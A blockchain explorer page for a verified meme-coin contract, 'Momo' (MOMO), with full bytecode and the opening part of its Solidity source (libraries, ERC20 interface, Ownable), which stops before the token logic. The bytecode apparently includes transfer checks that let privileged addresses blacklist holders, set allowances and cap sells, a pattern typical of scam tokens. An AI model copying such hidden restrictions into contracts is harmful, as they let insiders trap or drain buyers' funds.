Address Contract Verified
Address
0x67d279d1D9b6Dc74B57be0cCc76BEA5847D2B87E
Balance
0 ETH
Nonce
1
Code Size
12306 bytes
Creator
0xed08f7a2...85D4 at tx 0x2e8f5d66...828d57
Indexed Transactions
0
Contract Bytecode
12306 bytes
0x6080604052600436106101ba575f3560e01c806370a08231116100eb578063a457c2d711610089578063ddbf526611610063578063ddbf52661461061d578063ef22c37614610645578063f2fde38b1461066f578063fae0959a14610697576101c1565b8063a457c2d714610569578063a9059cbb146105a5578063dd62ed3e146105e1576101c1565b80638a8c523c116100c55780638a8c523c146104c35780638da5cb5b146104d95780638f8fd4561461050357806395d89b411461053f576101c1565b806370a0823114610447578063715018a61461048357806378109e5414610499576101c1565b8063220f669611610158578063313ce56711610132578063313ce5671461038d57806339509351146103b757806349bd5a5e146103f35780634a74bb021461041d576101c1565b8063220f6696146102fd57806323b872dd146103275780632ebf214114610363576101c1565b806313fad07a1161019457806313fad07a1461025557806314e510811461027f5780631694505e146102a957806318160ddd146102d3576101c1565b806305c084d1146101c557806306fdde03146101ef578063095ea7b314610219576101c1565b366101c157005b5f5ffd5b3480156101d0575f5ffd5b506101d96106bf565b6040516101e69190612379565b60405180910390f35b3480156101fa575f5ffd5b506102036106c5565b6040516102109190612402565b60405180910390f35b348015610224575f5ffd5b5061023f600480360381019061023a91906124aa565b610755565b60405161024c9190612502565b60405180910390f35b348015610260575f5ffd5b50610269610772565b6040516102769190612502565b60405180910390f35b34801561028a575f5ffd5b50610293610785565b6040516102a09190612379565b60405180910390f35b3480156102b4575f5ffd5b506102bd61078b565b6040516102ca9190612576565b60405180910390f35b3480156102de575f5ffd5b506102e76107b0565b6040516102f49190612379565b60405180910390f35b348015610308575f5ffd5b506103116107b9565b60405161031e9190612502565b60405180910390f35b348015610332575f5ffd5b5061034d6004803603810190610348919061258f565b6107cc565b60405161035a9190612502565b60405180910390f35b34801561036e575f5ffd5b506103776108a0565b60405161038491906125ee565b60405180910390f35b348015610398575f5ffd5b506103a16108c5565b6040516103ae9190612622565b60405180910390f35b3480156103c2575f5ffd5b506103dd60048036038101906103d891906124aa565b6108da565b6040516103ea9190612502565b60405180910390f35b3480156103fe575f5ffd5b50610407610988565b60405161041491906125ee565b60405180910390f35b348015610428575f5ffd5b506104316109ad565b60405161043e9190612502565b60405180910390f35b348015610452575f5ffd5b5061046d6004803603810190610468919061263b565b6109c0565b60405161047a9190612379565b60405180910390f35b34801561048e575f5ffd5b50610497610a06565b005b3480156104a4575f5ffd5b506104ad610a19565b6040516104ba9190612379565b60405180910390f35b3480156104ce575f5ffd5b506104d7610a1f565b005b3480156104e4575f5ffd5b506104ed610b80565b6040516104fa91906125ee565b60405180910390f35b34801561050e575f5ffd5b506105296004803603810190610524919061263b565b610ba7565b6040516105369190612502565b60405180910390f35b34801561054a575f5ffd5b50610553610bc4565b6040516105609190612402565b60405180910390f35b348015610574575f5ffd5b5061058f600480360381019061058a91906124aa565b610c54565b60405161059c9190612502565b60405180910390f35b3480156105b0575f5ffd5b506105cb60048036038101906105c691906124aa565b610d1c565b6040516105d89190612502565b60405180910390f35b3480156105ec575f5ffd5b5061060760048036038101906106029190612666565b610d39565b6040516106149190612379565b60405180910390f35b348015610628575f5ffd5b50610643600480360381019061063e91906126a4565b610dbb565b005b348015610650575f5ffd5b50610659610e48565b6040516106669190612379565b60405180910390f35b34801561067a575f5ffd5b506106956004803603810190610690919061263b565b610e4e565b005b3480156106a2575f5ffd5b506106bd60048036038101906106b891906126a4565b610ed0565b005b60115481565b6060600980546106d4906126fc565b80601f0160208091040260200160405190810160405280929190818152602001828054610700906126fc565b801561074b5780601f106107225761010080835404028352916020019161074b565b820191905f5260205f20905b81548152906001019060200180831161072e57829003601f168201915b5050505050905090565b5f610768610761610f32565b8484610f39565b6001905092915050565b601960169054906101000a900460ff1681565b60105481565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600c54905090565b601960149054906101000a900460ff1681565b5f6107d88484846110c7565b610895846107e4610f32565b61089085604051806060016040528060288152602001612f906028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610847610f32565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119db9092919063ffffffff16565b610f39565b600190509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600b5f9054906101000a900460ff16905090565b5f61097e6108e6610f32565b846109798560025f6108f6610f32565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a2f90919063ffffffff16565b610f39565b6001905092915050565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601960159054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a0e611a44565b610a175f611ac2565b565b60155481565b610a27611a44565b610a733060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610f39565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610abb306109c0565b5f5f610ac5610b80565b426040518863ffffffff1660e01b8152600401610ae796959493929190612765565b60606040518083038185885af1158015610b03573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b2891906127d8565b5050506001601960156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1596001604051610b769190612502565b60405180910390a1565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6003602052805f5260405f205f915054906101000a900460ff1681565b6060600a8054610bd3906126fc565b80601f0160208091040260200160405190810160405280929190818152602001828054610bff906126fc565b8015610c4a5780601f10610c2157610100808354040283529160200191610c4a565b820191905f5260205f20905b815481529060010190602001808311610c2d57829003601f168201915b5050505050905090565b5f610d12610c60610f32565b84610d0d85604051806060016040528060258152602001612fb86025913960025f610c89610f32565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119db9092919063ffffffff16565b610f39565b6001905092915050565b5f610d2f610d28610f32565b84846110c7565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610dc3611a44565b601960149054906101000a900460ff1615610e13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0a90612872565b60405180910390fd5b5f610e1d306109c0565b90505f60648383610e2e91906128bd565b610e38919061292b565b9050610e4381611b83565b505050565b60165481565b610e56611a44565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ec4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebb906129cb565b60405180910390fd5b610ecd81611ac2565b50565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f28575f5ffd5b8060168190555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fa157505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd790612a33565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ba9190612379565b60405180910390a3505050565b6110cf610b80565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611157575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561118f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111e8575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611241575060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112805750611250610b80565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112e3575f61128f836109c0565b905060155482826112a09190612a51565b11156112e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d890612b1a565b60405180910390fd5b505b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490612b82565b60405180910390fd5b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611410575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561145b5760165481111561145a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145190612c10565b60405180910390fd5b5b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680156114fe575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611537575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b801561155857506103e88161154b856109c0565b6115559190612c2e565b11155b156115b757600160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506119d6565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161f57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61165e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165590612cab565b60405180910390fd5b5f81116116a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169790612d39565b60405180910390fd5b600e60019054906101000a900460ff1660ff16600e5f9054906101000a900460ff1660ff16101580156116e05750601960149054906101000a900460ff16155b8015611739575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117515750601960159054906101000a900460ff165b15611790575f600e5f6101000a81548160ff021916908360ff1602179055505f61177a306109c0565b90505f81111561178e5761178d81611b83565b5b505b5f6001905060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611830575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806118f95750601960169054906101000a900460ff16801561189f575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118f8575060195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611906575f90506119c8565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361196857601054600f819055506119c7565b60195f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036119c657601154600f819055505b5b5b6119d484848484611bf4565b505b505050565b5f838311158290611a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a199190612402565b60405180910390fd5b5082840390509392505050565b5f8183611a3c9190612a51565b905092915050565b611a4c610f32565b73ffffffffffffffffffffffffffffffffffffffff16611a6a610b80565b73ffffffffffffffffffffffffffffffffffffffff1614611ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab790612da1565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001601960146101000a81548160ff021916908315150217905550611ba781611d31565b5f479050611bd660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611f67565b505f601960146101000a81548160ff02191690831515021790555050565b80611c0657611c01611faf565b611c3e565b600e5f81819054906101000a900460ff1680929190611c2490612dbf565b91906101000a81548160ff021916908360ff160217905550505b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611d12578160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f611cd4610f32565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b611d1d848484612005565b80611d2b57611d2a6122ed565b5b50505050565b5f600267ffffffffffffffff811115611d4d57611d4c612de7565b5b604051908082528060200260200182016040528015611d7b5781602001602082028036833780820191505090505b50905030815f81518110611d9257611d91612e14565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e36573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e5a9190612e55565b81600181518110611e6e57611e6d612e14565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611ed43060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f39565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611f36959493929190612f37565b5f604051808303815f87803b158015611f4d575f5ffd5b505af1158015611f5f573d5f5f3e3d5ffd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611faa573d5f5f3e3d5ffd5b505050565b5f600f54148015611fc157505f601054145b8015611fce57505f601154145b61200357601054601381905550601154601481905550600f546012819055505f6010819055505f6011819055505f600f819055505b565b5f5f6120108361230a565b915091506120648360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461234c90919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506120f58260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a2f90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506121868160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611a2f90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614612281578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122789190612379565b60405180910390a35b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122de9190612379565b60405180910390a35050505050565b601254600f81905550601354601081905550601454601181905550565b5f5f5f6064600f548561231d91906128bd565b612327919061292b565b90505f61233d828661234c90919063ffffffff16565b90508082935093505050915091565b5f81836123599190612c2e565b905092915050565b5f819050919050565b61237381612361565b82525050565b5f60208201905061238c5f83018461236a565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6123d482612392565b6123de818561239c565b93506123ee8185602086016123ac565b6123f7816123ba565b840191505092915050565b5f6020820190508181035f83015261241a81846123ca565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61244f82612426565b9050919050565b61245f81612445565b8114612469575f5ffd5b50565b5f8135905061247a81612456565b92915050565b61248981612361565b8114612493575f5ffd5b50565b5f813590506124a481612480565b92915050565b5f5f604083850312156124c0576124bf612422565b5b5f6124cd8582860161246c565b92505060206124de85828601612496565b9150509250929050565b5f8115159050919050565b6124fc816124e8565b82525050565b5f6020820190506125155f8301846124f3565b92915050565b5f819050919050565b5f61253e61253961253484612426565b61251b565b612426565b9050919050565b5f61254f82612524565b9050919050565b5f61256082612545565b9050919050565b61257081612556565b82525050565b5f6020820190506125895f830184612567565b92915050565b5f5f5f606084860312156125a6576125a5612422565b5b5f6125b38682870161246c565b93505060206125c48682870161246c565b92505060406125d586828701612496565b9150509250925092565b6125e881612445565b82525050565b5f6020820190506126015f8301846125df565b92915050565b5f60ff82169050919050565b61261c81612607565b82525050565b5f6020820190506126355f830184612613565b92915050565b5f602082840312156126505761264f612422565b5b5f61265d8482850161246c565b91505092915050565b5f5f6040838503121561267c5761267b612422565b5b5f6126898582860161246c565b925050602061269a8582860161246c565b9150509250929050565b5f602082840312156126b9576126b8612422565b5b5f6126c684828501612496565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061271357607f821691505b602082108103612726576127256126cf565b5b50919050565b5f819050919050565b5f61274f61274a6127458461272c565b61251b565b612361565b9050919050565b61275f81612735565b82525050565b5f60c0820190506127785f8301896125df565b612785602083018861236a565b6127926040830187612756565b61279f6060830186612756565b6127ac60808301856125df565b6127b960a083018461236a565b979650505050505050565b5f815190506127d281612480565b92915050565b5f5f5f606084860312156127ef576127ee612422565b5b5f6127fc868287016127c4565b935050602061280d868287016127c4565b925050604061281e868287016127c4565b9150509250925092565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e5f82015250565b5f61285c60208361239c565b915061286782612828565b602082019050919050565b5f6020820190508181035f83015261288981612850565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6128c782612361565b91506128d283612361565b92508282026128e081612361565b915082820484148315176128f7576128f6612890565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61293582612361565b915061294083612361565b9250826129505761294f6128fe565b5b828204905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6129b560268361239c565b91506129c08261295b565b604082019050919050565b5f6020820190508181035f8301526129e2816129a9565b9050919050565b7f4552523a207a65726f20616464726573730000000000000000000000000000005f82015250565b5f612a1d60118361239c565b9150612a28826129e9565b602082019050919050565b5f6020820190508181035f830152612a4a81612a11565b9050919050565b5f612a5b82612361565b9150612a6683612361565b9250828201905080821115612a7e57612a7d612890565b5b92915050565b7f596f752061726520747279696e6720746f2062757920746f6f206d616e7920745f8201527f6f6b656e732e20596f752068617665207265616368656420746865206c696d6960208201527f7420666f72206f6e652077616c6c65742e000000000000000000000000000000604082015250565b5f612b0460518361239c565b9150612b0f82612a84565b606082019050919050565b5f6020820190508181035f830152612b3181612af8565b9050919050565b7f426f74206973206e6f7420616c6c6f77656400000000000000000000000000005f82015250565b5f612b6c60128361239c565b9150612b7782612b38565b602082019050919050565b5f6020820190508181035f830152612b9981612b60565b9050919050565b7f53656c6c207472616e7366657220616d6f756e742065786365656473207468655f8201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b5f612bfa60368361239c565b9150612c0582612ba0565b604082019050919050565b5f6020820190508181035f830152612c2781612bee565b9050919050565b5f612c3882612361565b9150612c4383612361565b9250828203905081811115612c5b57612c5a612890565b5b92915050565b7f4552523a205573696e67203020616464726573732100000000000000000000005f82015250565b5f612c9560158361239c565b9150612ca082612c61565b602082019050919050565b5f6020820190508181035f830152612cc281612c89565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e205f8201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b5f612d2360258361239c565b9150612d2e82612cc9565b604082019050919050565b5f6020820190508181035f830152612d5081612d17565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612d8b60208361239c565b9150612d9682612d57565b602082019050919050565b5f6020820190508181035f830152612db881612d7f565b9050919050565b5f612dc982612607565b915060ff8203612ddc57612ddb612890565b5b600182019050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612e4f81612456565b92915050565b5f60208284031215612e6a57612e69612422565b5b5f612e7784828501612e41565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612eb281612445565b82525050565b5f612ec38383612ea9565b60208301905092915050565b5f602082019050919050565b5f612ee582612e80565b612eef8185612e8a565b9350612efa83612e9a565b805f5b83811015612f2a578151612f118882612eb8565b9750612f1c83612ecf565b925050600181019050612efd565b5085935050505092915050565b5f60a082019050612f4a5f83018861236a565b612f576020830187612756565b8181036040830152612f698186612edb565b9050612f7860608301856125df565b612f85608083018461236a565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220942f3d5f9e5e46a7d5722d50108bdd704cf5cc8e40b6115668fe13e45794571064736f6c634300081e0033
Verified Source Code Full Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
MOMO.sol 1151 lines
// SPDX-License-Identifier: MIT
/*
Name: Momo
Symbol: MOMO
The peoples dog coin. The queen of Shibas. Bonks sister. Take the pink pill
https://momoshiba.dog
https://x.com/MomoShiba_ETH
https://t.me/MomoShiba_ETH
*/
pragma solidity ^0.8.17;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(
address target,
bytes memory data
) internal view returns (bytes memory) {
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(
address target,
bytes memory data
) internal returns (bytes memory) {
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
//Contract By Techaddict
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when value tokens are moved from one account (from) to
* another (to).
*
* Note that value may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a spender for an owner is set by
* a call to {approve}. value is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by account.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves amount tokens from the caller's account to to.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that spender will be
* allowed to spend on behalf of owner through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(
address owner,
address spender
) external view returns (uint256);
/**
* @dev Sets amount as the allowance of spender over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves amount tokens from from to to using the
* allowance mechanism. amount is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
// File: contracts/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.17;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/Ownable.sol
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)
pragma solidity ^0.8.17;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* onlyOwner, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
